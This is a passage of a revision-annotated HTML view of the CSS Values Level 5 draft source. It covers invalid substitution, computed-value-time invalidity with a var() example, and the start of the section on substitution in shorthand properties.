id="l3024"> 3024</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2872" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3025" id="l3025"> 3025</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2882" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3035" id="l3035"> 3035</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2883" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3036" id="l3036"> 3036</a> </td> <td class="source"><h3 id=invalid-substitution oldids='invalid-variables'> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2884" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3037" id="l3037"> 3037</a> </td> <td class="source">Invalid Substitution</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2885" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3038" id="l3038"> 3038</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2886" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3039" id="l3039"> 3039</a> </td> <td class="source"> When [=substitution=] results in a property's value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2887" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3040" id="l3040"> 3040</a> </td> <td class="source"> containing the [=guaranteed-invalid value=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2888" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3041" id="l3041"> 3041</a> </td> <td class="source"> this makes the declaration <dfn export>invalid at computed-value time</dfn>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2889" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3042" id="l3042"> 3042</a> </td> <td class="source"> When this happens, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2890" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3043" id="l3043"> 3043</a> </td> <td class="source"> the computed value is one of the following </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2891" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3044" id="l3044"> 3044</a> </td> <td class="source"> depending on the property's type: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2892" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3045" id="l3045"> 3045</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2893" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3046" id="l3046"> 3046</a> </td> <td class="source"> <dl class="switch"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2894" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3047" id="l3047"> 3047</a> </td> <td class="source"> : The property is a non-registered [=custom property=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2895" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3048" id="l3048"> 3048</a> </td> <td class="source"> : The property is a [=registered custom property=] </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2896" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3049" id="l3049"> 3049</a> </td> <td class="source"> with [=universal syntax definition|universal syntax=] </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2897" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3050" id="l3050"> 3050</a> </td> <td class="source"> :: The computed value is the <a>guaranteed-invalid value</a>. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2898" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3051" id="l3051"> 3051</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2899" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3052" id="l3052"> 3052</a> </td> <td class="source"> : Otherwise </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2900" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3053" id="l3053"> 3053</a> </td> <td class="source"> :: Either the property's inherited value </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2901" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3054" id="l3054"> 3054</a> </td> <td class="source"> or its initial value </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2902" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3055" id="l3055"> 3055</a> </td> <td class="source"> depending on whether the property is inherited or not, respectively, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2903" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3056" id="l3056"> 3056</a> </td> <td class="source"> as if the property's value had been specified as the ''unset'' keyword. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2904" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3057" id="l3057"> 3057</a> </td> <td class="source"> </dl> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2905" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3058" id="l3058"> 3058</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2906" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l3059" id="l3059"> 3059</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2907" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3060" id="l3060"> 3060</a> </td> <td class="source"> variables-substitute-guaranteed-invalid.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2908" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3061" id="l3061"> 3061</a> </td> <td class="source"> </wpt> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2909" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3062" id="l3062"> 3062</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2910" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3063" id="l3063"> 3063</a> </td> <td class="source"> <div class='example'> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2911" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3064" id="l3064"> 3064</a> </td> <td class="source"> For example, in the following code: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2912" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3065" id="l3065"> 3065</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2913" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3066" id="l3066"> 3066</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2914" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3067" id="l3067"> 3067</a> </td> <td class="source"> :root { --not-a-color: 20px; } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2915" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3068" id="l3068"> 3068</a> </td> <td class="source"> p { background-color: red; } </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2916" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3069" id="l3069"> 3069</a> </td> <td class="source"> p { background-color: var(--not-a-color); } </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2917" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3070" id="l3070"> 3070</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2918" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3071" id="l3071"> 3071</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2919" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3072" id="l3072"> 3072</a> </td> <td class="source"> the &lt;p> elements will have transparent backgrounds </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2920" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3073" id="l3073"> 3073</a> </td> <td class="source"> (the initial value for 'background-color'), </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2921" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3074" id="l3074"> 3074</a> </td> <td class="source"> rather than red backgrounds. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2922" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3075" id="l3075"> 3075</a> </td> <td class="source"> The same would happen if the <a>custom property</a> itself was unset, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2923" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3076" id="l3076"> 3076</a> </td> <td class="source"> or contained an invalid ''var()'' function. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2924" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3077" id="l3077"> 3077</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2925" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3078" id="l3078"> 3078</a> </td> <td class="source"> Note the difference between this </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2926" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3079" id="l3079"> 3079</a> </td> <td class="source"> and what happens if the author had just written ''background-color: 20px'' directly in their stylesheet - </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2927" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3080" id="l3080"> 3080</a> </td> <td class="source"> that would be a normal syntax error, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2928" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3081" id="l3081"> 3081</a> </td> <td class="source"> which would cause the rule to be discarded, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2929" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3082" id="l3082"> 3082</a> </td> <td class="source"> so the ''background-color: red'' rule would be used instead. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2930" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3083" id="l3083"> 3083</a> </td> <td class="source"> </div> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2931" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3084" id="l3084"> 3084</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2932" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3085" id="l3085"> 3085</a> </td> <td class="source"> Note: The <a>invalid at computed-value time</a> concept exists </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2933" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3086" id="l3086"> 3086</a> </td> <td class="source"> because [=arbitrary substitution functions=] can't "fail early" like other syntax errors can, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2934" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3087" id="l3087"> 3087</a> </td> <td class="source"> so by the time the user agent realizes a property value is invalid, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2935" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3088" id="l3088"> 3088</a> </td> <td class="source"> it's already thrown away the other cascaded values. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2936" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3089" id="l3089"> 3089</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2937" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3090" id="l3090"> 3090</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2938" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3091" id="l3091"> 3091</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2948" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3101" id="l3101"> 3101</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2949" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3102" id="l3102"> 3102</a> </td> <td class="source"><h3 id=substitution-in-shorthands oldids=variables-in-shorthands> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2950" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3103" id="l3103"> 3103</a> </td> <td class="source">Substitution in Shorthand Properties</h3> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2951" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3104" id="l3104"> 3104</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2952" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3105" id="l3105"> 3105</a> </td> <td class="source"> [=Arbitrary substitution functions=] produce some complications </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2953" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3106" id="l3106"> 3106</a> </td> <td class="source"> when parsing [=shorthand properties=] into their component longhands, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2954" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3107" id="l3107"> 3107</a> </td> <td class="source"> and when serializing [=shorthand properties=] <em>from</em> their component longhands. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2955" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3108" id="l3108"> 3108</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2956" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3109" id="l3109"> 3109</a> </td> <td class="source"> If a [=shorthand property=] contains an [=arbitrary substitution function=] in its value, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2957" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3110" id="l3110"> 3110</a> </td> <td class="source"> the [=longhand properties=] it's associated with must instead be filled in </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2958" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3111" id="l3111"> 3111</a> </td> <td class="source"> with a special, unobservable-to-authors <dfn export>pending-substitution value</dfn> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2959" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3112" id="l3112"> 3112</a> </td> <td class="source"> that indicates the shorthand contains an [=arbitrary substitution function=], </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2960" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3113" id="l3113"> 3113</a> </td> <td class="source"> and thus the longhand's value can't be determined until after [=substituted=]. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2961" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3114" id="l3114"> 3114</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2962" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3115" id="l3115"> 3115</a> </td> <td class="source"> This value must then be cascaded as normal, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2963" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3116" id="l3116"> 3116</a> </td> <td class="source"> and at computed-value time, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2964" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3117" id="l3117"> 3117</a> </td> <td class="source"> after [=substitution=], </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2965" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3118" id="l3118"> 3118</a> </td> <td class="source"> the shorthand must be parsed </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2966" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3119" id="l3119"> 3119</a> </td> <td class="source"> and the longhands must be given their appropriate values at that point. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2967" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3120" id="l3120"> 3120</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/bfa059e08b64/css-values-5/Overview.bs#l2968" title="bfa059e08b64: [css-values-5] Clean up Arbitrary Substitution Function prose">fantasai@31731</a> </td> <td class="lineno"> <a href="#l3121" id="l3121"> 3121</a> </td> <td class="source"> <wpt pathprefix="css/css-variables"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2969" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3122" id="l3122"> 3122</a> </td> <td class="source"> variable-reference-36.html </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2970" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3123" id="l3123"> 3123</a> </td> <td class="source"> variable-reference-37.html </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b5ca6a7b54d3/css-values-5/Overview.bs#l2971" title="b5ca6a7b54d3: [css-values-5][css-variables-1] Move arbitrary substitution function definition to css-values-5.">fantasai@31730</a> </td> <td class="lineno"> <a href="#l3124" id="l3124"> 3124</a> </td> <td class="source"> variable-reference-38.html </td> </tr> <tr 